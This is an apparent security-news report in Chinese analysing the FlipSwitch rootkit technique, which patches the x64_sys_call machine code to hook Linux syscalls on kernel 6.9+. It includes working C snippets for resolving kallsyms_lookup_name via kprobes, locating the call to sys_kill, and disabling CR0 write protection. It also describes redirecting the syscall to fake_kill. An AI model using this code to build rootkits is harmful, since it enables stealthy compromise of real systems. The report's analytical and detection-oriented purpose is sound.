摘要

本報告針對 FlipSwitch Linux 系統呼叫 hooking 技術進行深入的技術分析。這是一種新穎的方法,旨在繞過 Linux Kernel 版本 6.9 及以後版本中引入的增強安全機制。依賴修改 sys_call_table 的傳統系統呼叫 hooking,由於 Kernel 轉向基於 switch 敘述的系統呼叫發送機制,在很大程度上變得無效。FlipSwitch 透過直接修補 Kernel 系統呼叫發送器的編譯機器碼來規避此問題,特別是針對 x64_sys_call 函式。本報告詳細介紹了這個方法,包括定位 Kernel 符號、識別目標指令、關閉寫入保護以及重新導向系統呼叫執行的程序。本文提供了程式碼片段和架構圖,以說明這種高階 rootkit 技術的複雜細節。

駭客新招!Linux Kernel 6.9+ 系統呼叫 Hooking 被破解,核心防禦慘遭 FlipSwitch 繞過 | 資訊安全新聞

1. 簡介

系統呼叫 hooking 在歷史上一直是 rootkits 截取和修改 Linux Kernel 中系統呼叫行為所採用的基礎技術。此功能允許惡意軟體隱藏其存在、作業系統資訊以及控制程序執行。然而,Linux Kernel 的不斷演進引入了新的安全措施,對現有的 hooking 方法提出了挑戰。一個重大的變化發生在 Linux Kernel 6.9 版本發布之時,它以更穩健的基於 switch 敘述的方法取代了系統呼叫發送的直接陣列查詢機制 [1]。這種架構轉變有效地使許多傳統的系統呼叫 hooking 方法失效,因此需要開發新的技術來在現代 Kernel 環境中維持持久性和控制權。

FlipSwitch 技術應對這些 Kernel 強化工作而生,它提供了一種複雜的方法,可在現代 Linux 環境中實現系統呼叫 hooking。與其前身不同,FlipSwitch 不依賴於直接修改 sys_call_table 。相反,它針對 Kernel 系統呼叫發送器編譯後的機器碼,特別是 x64_sys_call 函式,將特定的系統呼叫重新導向至 malicious code。本報告深入探討了 FlipSwitch 的技術細節,檢查其核心組成部分、實作挑戰以及它所利用的底層 Kernel 機制。

2. 背景: 傳統系統呼叫 Hooking

在 Linux Kernel 6.9 之前,系統呼叫 hooking 主要利用 sys_call_table ,這是一個函式指標的全域陣列,其中每個 entry 對應於一個特定的系統呼叫。Rootkits 通常會用指向自己 malicious function 的指標來覆蓋此表中的一個 entry。當使用者空間應用程式呼叫一個系統呼叫時,Kernel 會在 sys_call_table 中查找對應的函式指標並執行它。透過將原始指標替換為自訂指標,rootkit 可以截取系統呼叫,執行其惡意操作(例如,隱藏檔案或程序),然後可選擇呼叫原始系統呼叫函式以維持系統功能 [1]。

這種方法的簡潔和有效性使其成為許多 Linux rootkits 的基石。例如,rootkit 可以替換 sys_kill getdents64 的指標,以過濾來自 ls 等命令的輸出,或防止程序終止。舊版 Kernel(6.9 之前)中發送系統呼叫的機制可以概念性地表示為:

// Pre-6.9: Direct array lookup
sys_call_table[__NR_kill](regs);

這種直接查詢為攻擊者提供了一個清晰且易於存取的目標。然而,正是這種機制的直接性也構成了其主要漏洞,導致它最終被棄用,轉而採用更安全的替代方案。

3. Kernel 6.9+ 的轉變

Linux Kernel 是一個動態的環境,不斷發展以增強安全性和效能。從 Kernel 版本 6.9 開始,x86-64 架構的系統呼叫發送機制引入了一項根本性的變化。透過 sys_call_table 進行的直接陣列查詢被 x64_sys_call 函式內基於 switch 敘述的發送所取代 [1]。此項變更使傳統的系統呼叫 hooking 變得更加複雜,因為修改 sys_call_table 不再直接影響系統呼叫執行。新的發送邏輯可以概括為:

  1. // Kernel 6.9+: Switch-statement dispatch
  2. long x64_sys_call(const struct pt_regs *regs, unsigned int nr)
  3. {
  4. switch (nr) {
  5. #include <asm/syscalls_64.h> // Expands to case statements
  6. default: return __x64_sys_ni_syscall(regs);
  7. }
  8. }

這種架構修改意味著即使 rootkit 覆寫了現已失效的 sys_call_table 中的 entry,這些修改也會被 Kernel 實際的系統呼叫發送邏輯所忽略。因此,攻擊者的挑戰從簡單地更改表中的指標轉變為尋找一種方法來影響此新 switch 敘述結構內的執行流程。

4. FlipSwitch 技術

FlipSwitch 技術透過直接修補 Kernel 系統呼叫發送器的編譯機器碼,解決了 Kernel 6.9+ 系統呼叫發送機制帶來的挑戰。此方法透過識別和修改負責呼叫原始系統呼叫函式的特定機器指令,從而繞過了新的 switch 敘述。該程序涉及幾個關鍵步驟:

4.1. 定位 Kernel 符號

FlipSwitch 技術的第一步是可靠地取得要被 hooked 的原始系統呼叫函式的位址。雖然 sys_call_table 不再用於發送,但它仍可用於找到原始系統呼叫函式的位址,例如 sys_kill [1]。一種更具程式化和穩健性的方法是使用 kallsyms_lookup_name 函式,它透過名稱提供任何匯出的 Kernel 符號的位址。然而,出於安全原因, kallsyms_lookup_name 通常預設不匯出,使得 loadable kernel modules 無法存取它。

為了克服這個問題,FlipSwitch 採用了涉及 kprobes 的技術。透過在已知的 Kernel 函式上放置一個 kprobe ,模組可以間接推導出原始被探測函式的位址。透過仔細分析 Kernel 的記憶體佈局,然後可以透過檢查相對於被探測函式位址的附近記憶體區域來取得 kallsyms_lookup_name 的函式指標 [1]。以下 C 程式碼片段說明了如何使用 kprobes 找到 kallsyms_lookup_name 的位址:

  1. /**
  2. * Find the address of kallsyms_lookup_name using kprobes
  3. * @return Pointer to kallsyms_lookup_name function or NULL on failure
  4. */
  5. void *find_kallsyms_lookup_name(void)
  6. {
  7. struct kprobe *kp; // Declare a kprobe structure pointer
  8. void *addr; // Variable to store the address of kallsyms_lookup_name
  9. kp = kzalloc(sizeof(*kp), GFP_KERNEL); // Allocate memory for the kprobe structure
  10. if (!kp)
  11. return NULL; // Return NULL if memory allocation fails
  12. kp->symbol_name = O_STRING("kallsyms_lookup_name"); // Set the symbol name to search for
  13. if (register_kprobe(kp) != 0) { // Register the kprobe
  14. kfree(kp); // Free memory if registration fails
  15. return NULL;
  16. }
  17. addr = kp->addr; // Get the address of the symbol from the kprobe structure
  18. unregister_kprobe(kp); // Unregister the kprobe
  19. kfree(kp); // Free the kprobe structure memory
  20. return addr; // Return the found address
  21. }

4.2. 識別目標指令

一旦取得 kallsyms_lookup_name 的位址,它就被用於查找其他必要符號的指標。下一個關鍵步驟是識別 x64_sys_call 函式中負責發送到原始系統呼叫的特定機器碼指令。這涉及逐位元組掃描 x64_sys_call 的原始機器碼,尋找一個 call 指令。在 x86-64 架構上,一個 call 指令通常由一個單一位元組 opcode 0xe8 識別,後面跟著一個 4-byte relative offset,用於指定 jump 目標 [1]。

該技術特別搜尋一個 call 指令,其 4-byte offset 與指令的位址結合時,直接指向先前識別出的原始系統呼叫函式(例如, sys_kill )的位址。 0xe8 opcode 和精確 offset 的這種組合在 x64_sys_call 函式內創建了一個唯一的簽章,確保只有預期的指令成為修改的目標。以下 C 程式碼片段展示了此搜尋:

  1. /* Search for call instruction to sys_kill in x64_sys_call */
  2. for (size_t i = 0; i < DUMP_SIZE - 4; ++i) {
  3. if (func_ptr[i] == 0xe8) { /* Found a call instruction (opcode 0xe8) */
  4. int32_t rel = *(int32_t *)(func_ptr + i + 1); /* Extract the 4-byte relative offset */
  5. void *call_addr = (void *)((uintptr_t)x64_sys_call + i + 5 + rel); /* Calculate the absolute target address of the call */
  6. if (call_addr == (void *)sys_call_table[__NR_kill]) { /* Check if the call targets the original sys_kill */
  7. debug_printk("Found call to sys_kill at offset %zu\n", i); /* Log the found offset */
  8. // This is the unique instruction to be patched
  9. }
  10. }
  11. }

4.3. 繞過記憶體保護

在修改被識別的指令之前,必須暫時關閉 Kernel 的記憶體保護。由於 rootkit 在 Kernel 空間 (ring 0) 內運作,它擁有操縱處理器控制暫存器的必要權限。FlipSwitch 採用的經典技術涉及修改 CR0 暫存器,特別是清除其第 16 位元 (寫入保護位元)。此操作會暫時允許 CPU 寫入原本唯讀的記憶體分頁,包括包含 Kernel 程式碼的分頁 [1]。

該程序涉及讀取 CR0 的目前數值、清除 WP 位元、將修改後的數值寫回 CR0 、執行 patch,然後恢復原始的 CR0 數值以重新啟用寫入保護。這確保了記憶體保護僅在最短的必要期間內被關閉。以下 inline assembly 函式展示了此機制:

  1. /**
  2. * Force write to CR0 register bypassing compiler optimizations
  3. * @param val Value to write to CR0
  4. */
  5. static inline void write_cr0_forced(unsigned long val)
  6. {
  7. unsigned long order; // Dummy variable to satisfy compiler constraints
  8. asm volatile("mov %0, %%cr0"
  9. : "+r"(val), "+m"(order)); // Inline assembly to move 'val' into CR0 register
  10. }
  11. /**
  12. * Enable write protection (set WP bit in CR0)
  13. */
  14. static inline void enable_write_protection(void)
  15. {
  16. unsigned long cr0 = read_cr0(); // Read current CR0 value
  17. set_bit(16, &cr0); // Set the 16th bit (WP bit) to enable write protection
  18. write_cr0_forced(cr0); // Write the modified CR0 value back
  19. }
  20. /**
  21. * Disable write protection (clear WP bit in CR0)
  22. */
  23. static inline void disable_write_protection(void)
  24. {
  25. unsigned long cr0 = read_cr0(); // Read current CR0 value
  26. clear_bit(16, &cr0); // Clear the 16th bit (WP bit) to disable write protection
  27. write_cr0_forced(cr0); // Write the modified CR0 value back
  28. }

4.4. 重新導向系統呼叫執行

在暫時關閉寫入保護後,FlipSwitch 技術開始覆寫 x64_sys_call 內被識別的 call 指令的 4-byte relative offset。此 offset 被替換為指向 rootkit 自訂函式的新 offset,例如 fake_kill 函式。此修改有效地重新導向目標系統呼叫的執行流程至 malicious code,同時不影響所有其他系統呼叫 [1]。

這種精確且局部化的機器碼修補是 FlipSwitch 技術的核心。它確保了 rootkit 可以截取特定的系統呼叫,而無需廣泛更改 Kernel 結構,使其隱蔽且難以透過傳統的完整性檢查來偵測。此外,這種方法的一個關鍵優勢是它的可逆性:當 Kernel 模組被卸載時,所有修改都可以完全 roll back,不會留下其存在的持久 trace [1]。

5. FlipSwitch 的架構概述

FlipSwitch 技術的整體架構可以視為一系列相互連接的步驟,從最初的符號發現到最終的系統呼叫執行重新導向。此程序突顯了利用 Kernel 機制和繞過安全功能之間錯綜複雜的相互作用。

graph TD A[Start] --> B{Locate kallsyms_lookup_name}; B --> C{Use kprobe to find address}; C --> D["Get address of target syscall (e.g., sys_kill)"]; D --> E{Scan x64_sys_call for 0xe8 opcode}; E --> F{Identify call instruction to sys_kill}; F --> G{Disable CR0 Write Protection}; G --> H[Patch 4-byte offset to point to fake_kill]; H --> I{Enable CR0 Write Protection}; I --> J[Syscall redirected to fake_kill]; J --> K[End];

圖 1: FlipSwitch 系統呼叫 Hooking 技術的流程圖。

6. 結論

FlipSwitch 技術代表了 Linux Kernel rootkit 方法的重大進展,有效地規避了 Kernel 6.9+ 中引入的增強系統呼叫發送機制。透過直接修補 x64_sys_call 函式的編譯機器碼,FlipSwitch 展示了對低階 Kernel 操作和記憶體管理的複雜理解。精確定位和重新導向單個系統呼叫的能力,加上暫時關閉寫入保護,突顯了在對抗堅定對手時確保 Kernel 完整性的持續挑戰。

這項研究強調了持續警惕和開發先進偵測機制的重要性,這些機制可以識別 Kernel 機器碼的細微修改。雖然 FlipSwitch 提供了一種精確且可逆的 hooking 方法,但它對直接記憶體操作和 CPU 控制暫存器的臨時修改的依賴,為透過仔細監控 Kernel 記憶體區域和 CR0 暫存器更改提供了潛在的偵測途徑。此類技術的演進需要一種主動的 Kernel 安全方法,重點關注預防和穩健的後滲透偵測策略。